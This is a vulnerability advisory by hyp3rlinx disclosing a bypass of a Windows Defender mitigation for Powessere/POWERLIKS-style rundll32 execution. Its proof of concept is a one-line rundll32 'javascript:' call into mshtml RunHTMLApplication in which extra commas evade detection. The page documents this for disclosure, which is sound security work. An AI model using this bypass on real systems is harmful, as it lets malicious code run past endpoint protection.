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Windows Defender Detection Mitigation Bypass
This is additional research regarding a mitigation bypass in Windows Defender. Back in 2022, the researcher disclosed how it could be easily bypassed by passing an extra path traversal when referencing mshtml but that issue has since been mitigated. However, the researcher discovered using multiple commas can also be used to achieve the bypass.
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source: https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt[+] twitter.com/hyp3rlinx[+] ISR: ApparitionSec [Vendor]www.microsoft.com[Product]Windows Defender[Vulnerability Type]Windows Defender Detection Mitigation BypassTrojanWin32Powessere.G[CVE Reference]N/A[Security Issue]Trojan.Win32/Powessere.G / Mitigation Bypass Part 2.Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution failand attackers will typically get an "Access is denied" error message.Back in 2022, I disclosed how that could be easily bypassed by passing an extra path traversal when referencing mshtml but since has been mitigated.However, I discovered using multi-commas "," will bypass that mitigation and successfully execute as of the time of this writing.[References]https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt[Exploit/POC]Open command prompt as Administrator.C:\sec>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert(666)Access is denied.C:\sec>rundll32.exe javascript:"\..\..\mshtml,,RunHTMLApplication ";alert(666)Multi-commas, for the Win![Network Access]Local[Severity]High[Disclosure Timeline]February 7, 2024: Public Disclosure[+] DisclaimerThe information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, andthat due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due creditis given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibilityfor any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related informationor exploits by the author or elsewhere. All content (c).hyp3rlinx